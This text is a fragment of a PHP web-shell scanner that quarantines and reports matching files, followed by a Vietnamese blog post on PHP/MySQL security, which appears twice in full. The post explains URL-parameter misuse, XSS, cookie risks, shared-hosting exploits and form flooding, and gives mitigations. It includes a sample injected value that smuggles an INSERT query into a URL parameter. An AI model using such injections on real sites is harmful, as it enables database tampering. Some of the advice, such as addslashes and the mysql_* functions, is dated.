foreach ($Keyword as $key)
{
$found=stripos($filestring,$key);
$found=stristr($filestring,$key);
if ($found !=false) break;
}
}
flush();
if ($found!=false)
{
if ($file=='scanshell.php')
{
$detected_Keyword_in_test_script=true;
}
else
{
$virus_detected=true;
if ($detect_errors_only)
{
$listWarning[] = $fileentry.' -- Warning Shell';
}
else
{
$listDetect[] = $fileentry.' -- Detect Shell';
chmod($filepath,0000);
}
}
$found='';
}

}
}

}

}
}
closedir($read_dir);
}
$virus_detected=false;
$all=true;
$detect_errors_only=false;
$detected_Keyword_in_test_script=false;
check_dir($folder,0);
//Report Mail
$message = "Report Scan Shell On Server ".gethostbyname($_SERVER['SERVER_NAME'])." by VnDragon \n\n";
$message .= "Scan Complete at ".date('j F Y H:i')."\n\n";
$message .= "Statistics\n\n";
$message .= "Skip File : ".IGNORE_EXTENSIONS."\n\n";
$message .= "Ingore File Max : ".MAX_SIZE."/bytes.\n\n";
if (count($listfile) != 0 )
{
$message .= "Total File Scan: " .count($listfile)."\n\n";

if (count($listWarning) != 0)
{
$warning = percent(count($listWarning),count($listfile));
$message .= "Total File Warning: " .count($listWarning)." - ". $warning."% \n\n";
$message .= "List File Warning: \n\n";
foreach ($listWarning as $Warning)
{
$message .= $Warning." \n\n";
}
}
else
{
$message .= "Total File Warning: 0 - 0% \n\n";
}
if (count($listDetect) != 0)
{
$detechted = percent(count($listDetect),count($listfile));
$message .= "Total File Detected: " .count($listDetect)." - ". $detechted."% \n\n";
$message .= "List File Detected: \n";
foreach ($listDetect as $Detechted)
{
$message .= $Detechted." \n\n";
}
}
else
{
$message .= "Total File Detected: 0 - 0% \n\n";
}
}
else
{
$message .= "File Not Found\n\n";
}
$message .= "End Report \n\n";
$message .= "---------------------------------------------------\n\n";
$message .= "File Detected Has been Chmod 000. Please Online And Check It\n\n";
$message .= "Thank You For Used Tools Scan Shell VerSion 2\n\n";
$message .= "Power By VnDragon \n\n";
report($message);
?>

Friday, August 10, 2012

Bảo mật với PHP và MySQL

PHP , một ngôn ngữ lập trình mã nguồn mở , đáp ứng cho sự phát triển web và sử dụng song song với mã HTML. Ngôn ngữ lập trình PHP cách thức viết gẫn gũi với C và PERL , tuy nhiên PHP viết dễ dàng và không cầu kỳ như C hoặc PERL với cách đặt biến dễ chịu.

  1) Giới thiệu sơ lược

  + PHP , một ngôn ngữ lập trình mã nguồn mở , đáp ứng cho sự phát triển web và sử dụng song song với mã HTML. Ngôn ngữ lập trình PHP cách thức viết gẫn gũi với C và PERL , tuy nhiên PHP viết dễ dàng và không cầu kỳ như C hoặc PERL với cách đặt biến dễ chịu.
  PHP có thể chạy trên nhiều hệ điều hành như Linux , Unix , Windows , MAC OSX , OpenBSD... , nhưng phổ biến rộng rãi hiện nay là Linux . Tích hợp với các dạng server như Apache , IIS . Và PHP hổ trợ được nhiều loại cơ sở dữ liệu như : Mysql, Oracle (OCI7 and OCI8) MySQL , ODBC ... và những loại khác . Hiện nay Mysql thì phổ biến nhất .
  + Mysql( ``My Ess Que Ell`` ) ,cũng giống PHP một chỗ là phần mềm mã nguồn mở . Mysql load dữ liệu nhanh và dễ sử dụng .
  PHP và Mysql có thể được coi như là một giải pháp tối ưu để phát triển Cơ sỡ dử liệu trên Internet hiện nay với sự tiện dụng và hiệu quả của nó , thích hợp cho các cá nhân , tổ chức , doanh nghiệp thực hiện Thương Mại điện tử . PHP và MYsql có thể download miễn phí tại 2 địa chỉ http:/www.php.net và http:/www.mysql.com

  2) Những lỗi cơ bản thường gặp với PHP mà Mysql

  + Dạng truyền biến .

  Khi lập trình ta thường thấy nhiều lỗi do cách thức truyền biến ra IE hoặc Netcape do form . Khi submit một form nào đó , các biến trong form có thể truy xuất ra , và được sử dụng như là biến toàn cục ( global ) , $_POST , $_GET , $_VAR ... .NGoài cách đưa biến từ form còn có session và cookies .  Mỗi con đường truyền biến bao giờ cũng có cái lợi và các hại của nó . Ở đây xin đề cập đến vấn đề tác hại của nó.

  Khi một lập trình viên , Lập trình với PHP nếu không cẩn thận sử dụng biến có thể dẫn đến nhiều sự nguy hiểm khác nhau .

  Các thức truyền biến được xem là nguy hiểm nhất là dạng truyền biến trên bar address của các chương trình duyệt web . Khi đó kẻ tấn công có thể lợi dụng những sơ hở này để khai thác và nguy hiểm là SQL injection .
  Ví dụ . Khi bạn sử dụng các biến trực tiếp trên address bar để dùng cho các mệnh đề logic , thì thường dễ bị vượt qua .
  Code ví dụ :
  if ($hello) echo ``hello``;
  Code trên cho thấy nếu tồn tạn biến hello rồi sẽ thực thi . Vậy vấn đề chỉ cần cho nó tồn tại . Vì thế ta nên kiểm tra biến với một giá trị nào đó , xác định thì lỗi có thể được thông qua ( nhưng nếu source của bạn đã được tham khảo thì điều này coi như vô nghĩa - Sẽ được nói sau tại mục PHP exploit local ) .
  Submit form với hình thức GET , thì các biến trong form sẽ được truyền trực tiếp lên address bar và nếu sử dụng biến toàn cục đó liên quan đến Uncode thì ... hiệu quả sẽ giảm đi . Chẳng hạn bạn tạo một form như sau :

  < input name=``key`` type=text >
  < input type=submit value=``Test`` >
  < /form >

  Xin được nói sơ về SQL injection với cách truyền biến này .
  Ví dụ :
  $a = mysql_query(``SELECT * FROM user $osd``);

  Nếu $osd trên address lộ ra như vậy : ORDER by id DESC Thì ta có thể thay thế biến osd với một giá trị khác là code PHP chẳng hạn . Vậy là chẳng khác nào tạo điều kiện cho kẻ tấn công thực hiện những hành động chết người . Ví dụ :
  $osd=``); mysql_query(``INSERT INTO user .....``);

  KHi bạn nhập ttext với dạng unicode thì khi truyền trên address bar các ký tự sẽ không còn chính xác nữa . Vậy làm cách nào khắc phục .
  Vâng ! Có khá nhiều cách , bạn có thể cookies , session hay hidden biến đó.

  Về vấn đề đặt biến dạng hidden trong form HTML . Lợi thì có lợi nhưng hại vẫn có .
  Ví dụ :
  Nếu bạn đặt một biến hidden nào đó dùng để check hoặc cho một mệnh đề logic thực thi thì khả năng bảo mật sẽ không còn , chỉ cần view source trong CT duyệt web là lộ nguyên si . Và khi kẻ tấn công có thể tạo ra các biến đó thì ... việc check mệnh đề coi như vô nghĩa .

  Và khi cho phép nhận thông tin từ các input để đưa vào CSDL rồi chuyển tải ra website , nếu không lọc những thẻ HTML cho phép thực thi JAVAscript cũng nguy hiểm khôn lường : Tận dụng để nhúng ccác loại sâu bọ , Các đoạn mã chôm thông tin ( cross site Scripting )

  Sử dụng biến từ Cookies .
  Cookies rất hiệu quả để chứa những thông tin , nhưng lạm dụng nó quá có thể dẫn đến nguy hiểm . Nếu một lập trình viên set cookies các thông tin về một tài khoản nào đó thì ... chỉ cần xem cookies là xong . Cách khắc phục là mã hóa nó hết .
  Thứ 2 . Ví dụ một cookies sau đây:
  userid=11
  passhash=``helloall``

  Vấn đề ở đây là về việc chứa thông tin không cần thiết là password của tài khoản. Dù mã hóa hay không mã hóa vẫn nguy hiểm . Nếu mã hóa dạng thông thường như dạng base64 , crypt ... vẫn dịch ngược được và dạng MD5 thì vẫn có thể Brute Force .
  Vậy cookies những gì cần thiết không nên chứa những thông tin mang tính bảo mật .
  Đó là những lỗi cơ bản , vỉ thời gian có hạn , nên chỉ nêu một vài lỗi như thế .

  3) Safe mode PHP and Mysql local exploit ( LOCAL EXPLOIT)

  Đây là một lỗi bảo mật nguy hiểm nhất . Nói nôm na là kỹ thuật khai thác thông tin từ host chung server .
  Ví dụ khi bạn có host ở server ABC và kẻ tấn công cũng có host chung server và chung ổ đĩa với bạn thì hết sức nguy hiểm .
  Kẻ tấn công có thể làm mọi việc thì theo độ bảo mật của server đó . cụ thể như : xem source ( tìm lỗi bảo mật của lập trình ), xem thông tin tài khoảng host của bạn (username , password , email ) , chiếm server , by pass server ......

  Xin được nói sơ về lỗi này .

  Chỉ cần 1 vài backdoor trên server là nguy hiểm không lường . Khi cơ sỡ dữ liệu của bạn dùng Mysql để lộ password , user của database thì việc sinh sát CDSL đó hoàn toàn có thể thực thi ( DROP , QUERY , INSERT ... ) , và đặc biệt nguy hiểm đối với các server dùng Cpanel để quản lý hosting cho mỗi tài khoản . Một số Cpanel tạo db có info trùng với tài khoải login và Cpanel , FTP , Webmail , POP3 ... , và chỉ một vài thủ thật nhỏ của kẻ tấn công thì website của bạn có thể thuộc quyền kiểm soát của hắn với đầy đủ quyền hạn .

  Nếu PHP chạy trên Linux thì việc soi server tìm thông tin chỉ là việc đơn giản nhưng cũng tuỳ theo độ bảo mật của server đó. Tình hình hiện nay một số Công ty VN hosting sử dụng PHP mà Mysql trên Linux cũng rất nhiều và việc bảo mật còn khá sơ sài . Vì vậy phát triển thương mại điện tử muốn an toàn trước hết phải bảo mật cơ sỡ dữ liệu một cách an toàn .
  Ngoài cách trên , còn có lỗi bảo mật của Web server : Apache , mức độ tận dụng cũng rất cao với lôĩ này : Apache chunked Vul.

  Nguyên nhân xảy ra lỗi này :

  - Safe mode : được mở
  - Các thư mục chưa được set quyền .
  - Chưa setting cho php.ini kỹ .
  - PHP cho phép set php.ini bất kỳ .
  - Mysql cho phép truy xuất vào cơ sỡ dữ liệu với host chung : localhost

Như ta thường biết , để đưa bất cứ dữ liệu từ người sử dụng vào CSDL ta đều thông qua dạng truyền biến form HTML , gồm nhiều dạng và nhiều cách khác nhau .

  Như ta thường biết , để đưa bất cứ dữ liệu từ người sử dụng vào CSDL ta đều thông qua dạng truyền biến form HTML , gồm nhiều dạng và nhiều cách khác nhau .
  Vì thế lỗi cũng rất nhiều nếu ta không kịp ngăn chặn , có thể dẫn đến những hậu quả khó lường.
  Dù truyền biến dạng POST , GET thì lỗi vẫn có . Và lỗi nghiêm trọng là dùng các biến ẩn để so sánh hoặc thực thi một mệnh đề logic nào đó .
  Ví dụ bạn làm 1 biến ẩn như password , email ... thì kẻ tấn công có thể view source của bạn , thay đổi các trường và thay đổi luôn action . Vì thế nếu lỗi thì kẻ tấn công có thể tấn công trực tiếp từ những lỗi này với vài thủ thuật nêu trên .
  Cách khắc phục : Không đặt những biến ẩn với mục đích so sánh hay thực thi mệnh đề logic .
  Nếu bạn lập trình đưa trực tiếp các biến vào thẳng CSDL mà không thông qua một bước kiểm tra nào đó thì nguy hiểm .
  Các nguy hiểm có thể xảy ra :
  - Cross site scripting
  - SQL injection
  - Buffer overflow in Mysql
  Vì vậy bước kiểm tra các biến vào hết sức quan trọng .
  Cách khắc phục :
  - Cross site scripting : Để khắc phục lỗi này , bạn nên xử lý biến vào theo kiểu chặn các tag HTML các hàm PHP hổ trợ làm việc đó : str_replace , strip_tags , htmlspecialchars , htmlentities ... ( tham khảo thêm về các hàm sử lý chuỗi ) để xử lý các tag như < > chuyển sang mã HTML hay thêm ký tự nào vào , .... , thay thế các text như onmouseover , onload ...
  - SQL injection : các biến đưa vào thường nguy hiểm nếu ``dính`` dấu ` , ```` hoặc # , vì thế cách khắc phục cũng như trên hoặc thêm hàm addslashes .
  - Buffer overflow in Mysql : cái này thường nghiêm trọng , khi bạn đưa biến vào CSDL mà không chống flood thì kẻ tấn công cò thể fresh trình duyệt web hoặc dùng những script tấn côngf từ server , host hay localhost khác , làm tràn server . Khiến tắt nghẽn ... và server có thể cắt host bạn như chơi . Cách khắc phục , so sánh biến nhập vào trùng hay thơi gian ... nói chung có nhiều cách để làm việc này , hiệu quả và nhanh thì dùng hàm header sau khi submit . ( Nếu bạn lập trình dùng hàm mysql_fetch_array , cũng dễ bị tràn server , lý do gôm dữ liệu vào mảng nếu nhiều record thì thế nào ... vì thế bạn có thể chuyển qua dùng mysql_result , nó lấy dữ liệu theo filed và column )
  Lưu ý về dạng upload file : cái này cũng quan trọng không kém , vì thế bạn phải kiểm tra dạng file gì khi được upload vì không sẽ có thể làm host của bạn dính backdoor .

Dạng flood có 2 loại dạng Flood Form và Flood Process

  - Flood form là gì ? Flood form là dạng gởi dữ liệu hàng loạt khiến cho MYSQL xử lý “chới với” , ví dụ bạn thiết kế một form đơn giản chỉ INSERT data vào mysql . Nếu Dữ liệu chỉ là một request thì không sao , còn trong 1 giây mà có cả trăm request thì lập tức … hihì

  Hiện tại khá nhiều web site thiết kế form không có mã xác nhận ? thì vấn đề gì sẽ xảy ra ?

  Nếu những form như góp ý , đăng ký thành viên : lâu lâu có cả ngàn record do flood là chuyện thường , nếu form xử lý có gởi mail thì … đương nhiên bị lợi dụng để làm Bomb mail , làm đầy CSDL của mình .

  Những hậu quả dẫn đến : MYSQL bị treo , server chết , bị đầy space , tốn bandwidth . Chẳng hạn 1 record chừng 30kbytes thì 1000 , hay 10000 cứ như vậy lặp đi lặp  lại theo cấp số nhân  thì space tốn khá nhiều cho những dữ liệu vô ích , và cpu sẽ load rất nhiều tốn tài nguyên .

  - Flood process là gì ? Là dạng flood không tạo ra dữ liệu mới mà nó gởi những request khiến PHP và Mysql xử lý khá vất vả . Hiện đang có “trào lưu” flood PHP mà MYSQL bằng X-flash ( Macro Media Flash ) . Minh chứng là các bạn thấy trang http://www.hvaonline.nethttp://www.hvanews.net hứng chịu một ngày trên cả trăm đợt tấn công , nhưng tại sao vẫn đứng hiên ngang , là do chế độ bảo mật cao , nếu đối với các site thường là … có vẻ bị “ngủm” .

  Cách phòng chống .

  - Đối với form nhập liệu cần tạo ra mã xác nhận dạng Hình ảnh ( có thể xem phần đăng ký thành viên tại PHPeasy , Hvanews … và một số những forum khác .
  - Cấu hình Mysql chấp nhận nhiều kết nối hơn ( mặc định MYSQL thường là 100)
  - Thiết lập hệ thống Firewall lọc những header chứa X-Flash
  - Chuyển website sang SSL .
  Còn nhiều cách khác , ở đây mình chỉ đưa ra những “nghiên cứu” mang tính chủ quan và sưu tầm từ kinh nghiệm của “cha ông ta” .

<Nguồn: phpcodevn.com>

Bảo mật với PHP và MySQL

PHP , một ngôn ngữ lập trình mã nguồn mở , đáp ứng cho sự phát triển web và sử dụng song song với mã HTML. Ngôn ngữ lập trình PHP cách thức viết gẫn gũi với C và PERL , tuy nhiên PHP viết dễ dàng và không cầu kỳ như C hoặc PERL với cách đặt biến dễ chịu.

  1) Giới thiệu sơ lược

  + PHP , một ngôn ngữ lập trình mã nguồn mở , đáp ứng cho sự phát triển web và sử dụng song song với mã HTML. Ngôn ngữ lập trình PHP cách thức viết gẫn gũi với C và PERL , tuy nhiên PHP viết dễ dàng và không cầu kỳ như C hoặc PERL với cách đặt biến dễ chịu.
  PHP có thể chạy trên nhiều hệ điều hành như Linux , Unix , Windows , MAC OSX , OpenBSD... , nhưng phổ biến rộng rãi hiện nay là Linux . Tích hợp với các dạng server như Apache , IIS . Và PHP hổ trợ được nhiều loại cơ sở dữ liệu như : Mysql, Oracle (OCI7 and OCI8) MySQL , ODBC ... và những loại khác . Hiện nay Mysql thì phổ biến nhất .
  + Mysql( ``My Ess Que Ell`` ) ,cũng giống PHP một chỗ là phần mềm mã nguồn mở . Mysql load dữ liệu nhanh và dễ sử dụng .
  PHP và Mysql có thể được coi như là một giải pháp tối ưu để phát triển Cơ sỡ dử liệu trên Internet hiện nay với sự tiện dụng và hiệu quả của nó , thích hợp cho các cá nhân , tổ chức , doanh nghiệp thực hiện Thương Mại điện tử . PHP và MYsql có thể download miễn phí tại 2 địa chỉ http:/www.php.net và http:/www.mysql.com

  2) Những lỗi cơ bản thường gặp với PHP mà Mysql

  + Dạng truyền biến .

  Khi lập trình ta thường thấy nhiều lỗi do cách thức truyền biến ra IE hoặc Netcape do form . Khi submit một form nào đó , các biến trong form có thể truy xuất ra , và được sử dụng như là biến toàn cục ( global ) , $_POST , $_GET , $_VAR ... .NGoài cách đưa biến từ form còn có session và cookies .  Mỗi con đường truyền biến bao giờ cũng có cái lợi và các hại của nó . Ở đây xin đề cập đến vấn đề tác hại của nó.

  Khi một lập trình viên , Lập trình với PHP nếu không cẩn thận sử dụng biến có thể dẫn đến nhiều sự nguy hiểm khác nhau .

  Các thức truyền biến được xem là nguy hiểm nhất là dạng truyền biến trên bar address của các chương trình duyệt web . Khi đó kẻ tấn công có thể lợi dụng những sơ hở này để khai thác và nguy hiểm là SQL injection .
  Ví dụ . Khi bạn sử dụng các biến trực tiếp trên address bar để dùng cho các mệnh đề logic , thì thường dễ bị vượt qua .
  Code ví dụ :
  if ($hello) echo ``hello``;
  Code trên cho thấy nếu tồn tạn biến hello rồi sẽ thực thi . Vậy vấn đề chỉ cần cho nó tồn tại . Vì thế ta nên kiểm tra biến với một giá trị nào đó , xác định thì lỗi có thể được thông qua ( nhưng nếu source của bạn đã được tham khảo thì điều này coi như vô nghĩa - Sẽ được nói sau tại mục PHP exploit local ) .
  Submit form với hình thức GET , thì các biến trong form sẽ được truyền trực tiếp lên address bar và nếu sử dụng biến toàn cục đó liên quan đến Uncode thì ... hiệu quả sẽ giảm đi . Chẳng hạn bạn tạo một form như sau :

  < input name=``key`` type=text >
  < input type=submit value=``Test`` >
  < /form >

  Xin được nói sơ về SQL injection với cách truyền biến này .
  Ví dụ :
  $a = mysql_query(``SELECT * FROM user $osd``);

  Nếu $osd trên address lộ ra như vậy : ORDER by id DESC Thì ta có thể thay thế biến osd với một giá trị khác là code PHP chẳng hạn . Vậy là chẳng khác nào tạo điều kiện cho kẻ tấn công thực hiện những hành động chết người . Ví dụ :
  $osd=``); mysql_query(``INSERT INTO user .....``);

  KHi bạn nhập ttext với dạng unicode thì khi truyền trên address bar các ký tự sẽ không còn chính xác nữa . Vậy làm cách nào khắc phục .
  Vâng ! Có khá nhiều cách , bạn có thể cookies , session hay hidden biến đó.

  Về vấn đề đặt biến dạng hidden trong form HTML . Lợi thì có lợi nhưng hại vẫn có .
  Ví dụ :
  Nếu bạn đặt một biến hidden nào đó dùng để check hoặc cho một mệnh đề logic thực thi thì khả năng bảo mật sẽ không còn , chỉ cần view source trong CT duyệt web là lộ nguyên si . Và khi kẻ tấn công có thể tạo ra các biến đó thì ... việc check mệnh đề coi như vô nghĩa .

  Và khi cho phép nhận thông tin từ các input để đưa vào CSDL rồi chuyển tải ra website , nếu không lọc những thẻ HTML cho phép thực thi JAVAscript cũng nguy hiểm khôn lường : Tận dụng để nhúng ccác loại sâu bọ , Các đoạn mã chôm thông tin ( cross site Scripting )

  Sử dụng biến từ Cookies .
  Cookies rất hiệu quả để chứa những thông tin , nhưng lạm dụng nó quá có thể dẫn đến nguy hiểm . Nếu một lập trình viên set cookies các thông tin về một tài khoản nào đó thì ... chỉ cần xem cookies là xong . Cách khắc phục là mã hóa nó hết .
  Thứ 2 . Ví dụ một cookies sau đây:
  userid=11
  passhash=``helloall``

  Vấn đề ở đây là về việc chứa thông tin không cần thiết là password của tài khoản. Dù mã hóa hay không mã hóa vẫn nguy hiểm . Nếu mã hóa dạng thông thường như dạng base64 , crypt ... vẫn dịch ngược được và dạng MD5 thì vẫn có thể Brute Force .
  Vậy cookies những gì cần thiết không nên chứa những thông tin mang tính bảo mật .
  Đó là những lỗi cơ bản , vỉ thời gian có hạn , nên chỉ nêu một vài lỗi như thế .

  3) Safe mode PHP and Mysql local exploit ( LOCAL EXPLOIT)

  Đây là một lỗi bảo mật nguy hiểm nhất . Nói nôm na là kỹ thuật khai thác thông tin từ host chung server .
  Ví dụ khi bạn có host ở server ABC và kẻ tấn công cũng có host chung server và chung ổ đĩa với bạn thì hết sức nguy hiểm .
  Kẻ tấn công có thể làm mọi việc thì theo độ bảo mật của server đó . cụ thể như : xem source ( tìm lỗi bảo mật của lập trình ), xem thông tin tài khoảng host của bạn (username , password , email ) , chiếm server , by pass server ......

  Xin được nói sơ về lỗi này .

  Chỉ cần 1 vài backdoor trên server là nguy hiểm không lường . Khi cơ sỡ dữ liệu của bạn dùng Mysql để lộ password , user của database thì việc sinh sát CDSL đó hoàn toàn có thể thực thi ( DROP , QUERY , INSERT ... ) , và đặc biệt nguy hiểm đối với các server dùng Cpanel để quản lý hosting cho mỗi tài khoản . Một số Cpanel tạo db có info trùng với tài khoải login và Cpanel , FTP , Webmail , POP3 ... , và chỉ một vài thủ thật nhỏ của kẻ tấn công thì website của bạn có thể thuộc quyền kiểm soát của hắn với đầy đủ quyền hạn .

  Nếu PHP chạy trên Linux thì việc soi server tìm thông tin chỉ là việc đơn giản nhưng cũng tuỳ theo độ bảo mật của server đó. Tình hình hiện nay một số Công ty VN hosting sử dụng PHP mà Mysql trên Linux cũng rất nhiều và việc bảo mật còn khá sơ sài . Vì vậy phát triển thương mại điện tử muốn an toàn trước hết phải bảo mật cơ sỡ dữ liệu một cách an toàn .
  Ngoài cách trên , còn có lỗi bảo mật của Web server : Apache , mức độ tận dụng cũng rất cao với lôĩ này : Apache chunked Vul.

  Nguyên nhân xảy ra lỗi này :

  - Safe mode : được mở
  - Các thư mục chưa được set quyền .
  - Chưa setting cho php.ini kỹ .
  - PHP cho phép set php.ini bất kỳ .
  - Mysql cho phép truy xuất vào cơ sỡ dữ liệu với host chung : localhost

Như ta thường biết , để đưa bất cứ dữ liệu từ người sử dụng vào CSDL ta đều thông qua dạng truyền biến form HTML , gồm nhiều dạng và nhiều cách khác nhau .

  Như ta thường biết , để đưa bất cứ dữ liệu từ người sử dụng vào CSDL ta đều thông qua dạng truyền biến form HTML , gồm nhiều dạng và nhiều cách khác nhau .
  Vì thế lỗi cũng rất nhiều nếu ta không kịp ngăn chặn , có thể dẫn đến những hậu quả khó lường.
  Dù truyền biến dạng POST , GET thì lỗi vẫn có . Và lỗi nghiêm trọng là dùng các biến ẩn để so sánh hoặc thực thi một mệnh đề logic nào đó .
  Ví dụ bạn làm 1 biến ẩn như password , email ... thì kẻ tấn công có thể view source của bạn , thay đổi các trường và thay đổi luôn action . Vì thế nếu lỗi thì kẻ tấn công có thể tấn công trực tiếp từ những lỗi này với vài thủ thuật nêu trên .
  Cách khắc phục : Không đặt những biến ẩn với mục đích so sánh hay thực thi mệnh đề logic .
  Nếu bạn lập trình đưa trực tiếp các biến vào thẳng CSDL mà không thông qua một bước kiểm tra nào đó thì nguy hiểm .
  Các nguy hiểm có thể xảy ra :
  - Cross site scripting
  - SQL injection
  - Buffer overflow in Mysql
  Vì vậy bước kiểm tra các biến vào hết sức quan trọng .
  Cách khắc phục :
  - Cross site scripting : Để khắc phục lỗi này , bạn nên xử lý biến vào theo kiểu chặn các tag HTML các hàm PHP hổ trợ làm việc đó : str_replace , strip_tags , htmlspecialchars , htmlentities ... ( tham khảo thêm về các hàm sử lý chuỗi ) để xử lý các tag như < > chuyển sang mã HTML hay thêm ký tự nào vào , .... , thay thế các text như onmouseover , onload ...
  - SQL injection : các biến đưa vào thường nguy hiểm nếu ``dính`` dấu ` , ```` hoặc # , vì thế cách khắc phục cũng như trên hoặc thêm hàm addslashes .
  - Buffer overflow in Mysql : cái này thường nghiêm trọng , khi bạn đưa biến vào CSDL mà không chống flood thì kẻ tấn công cò thể fresh trình duyệt web hoặc dùng những script tấn côngf từ server , host hay localhost khác , làm tràn server . Khiến tắt nghẽn ... và server có thể cắt host bạn như chơi . Cách khắc phục , so sánh biến nhập vào trùng hay thơi gian ... nói chung có nhiều cách để làm việc này , hiệu quả và nhanh thì dùng hàm header sau khi submit . ( Nếu bạn lập trình dùng hàm mysql_fetch_array , cũng dễ bị tràn server , lý do gôm dữ liệu vào mảng nếu nhiều record thì thế nào ... vì thế bạn có thể chuyển qua dùng mysql_result , nó lấy dữ liệu theo filed và column )
  Lưu ý về dạng upload file : cái này cũng quan trọng không kém , vì thế bạn phải kiểm tra dạng file gì khi được upload vì không sẽ có thể làm host của bạn dính backdoor .

Dạng flood có 2 loại dạng Flood Form và Flood Process

  - Flood form là gì ? Flood form là dạng gởi dữ liệu hàng loạt khiến cho MYSQL xử lý “chới với” , ví dụ bạn thiết kế một form đơn giản chỉ INSERT data vào mysql . Nếu Dữ liệu chỉ là một request thì không sao , còn trong 1 giây mà có cả trăm request thì lập tức … hihì

  Hiện tại khá nhiều web site thiết kế form không có mã xác nhận ? thì vấn đề gì sẽ xảy ra ?

  Nếu những form như góp ý , đăng ký thành viên : lâu lâu có cả ngàn record do flood là chuyện thường , nếu form xử lý có gởi mail thì … đương nhiên bị lợi dụng để làm Bomb mail , làm đầy CSDL của mình .

  Những hậu quả dẫn đến : MYSQL bị treo , server chết , bị đầy space , tốn bandwidth . Chẳng hạn 1 record chừng 30kbytes thì 1000 , hay 10000 cứ như vậy lặp đi lặp  lại theo cấp số nhân  thì space tốn khá nhiều cho những dữ liệu vô ích , và cpu sẽ load rất nhiều tốn tài nguyên .

  - Flood process là gì ? Là dạng flood không tạo ra dữ liệu mới mà nó gởi những request khiến PHP và Mysql xử lý khá vất vả . Hiện đang có “trào lưu” flood PHP mà MYSQL bằng X-flash ( Macro Media Flash ) . Minh chứng là các bạn thấy trang http://www.hvaonline.nethttp://www.hvanews.net hứng chịu một ngày trên cả trăm đợt tấn công , nhưng tại sao vẫn đứng hiên ngang , là do chế độ bảo mật cao , nếu đối với các site thường là … có vẻ bị “ngủm” .

  Cách phòng chống .

  - Đối với form nhập liệu cần tạo ra mã xác nhận dạng Hình ảnh ( có thể xem phần đăng ký thành viên tại PHPeasy , Hvanews … và một số những forum khác .
  - Cấu hình Mysql chấp nhận nhiều kết nối hơn ( mặc định MYSQL thường là 100)
  - Thiết lập hệ thống Firewall lọc những header chứa X-Flash
  - Chuyển website sang SSL .
  Còn nhiều cách khác , ở đây mình chỉ đưa ra những “nghiên cứu” mang tính chủ quan và sưu tầm từ kinh nghiệm của “cha ông ta” .

<Nguồn: phpcodevn.com>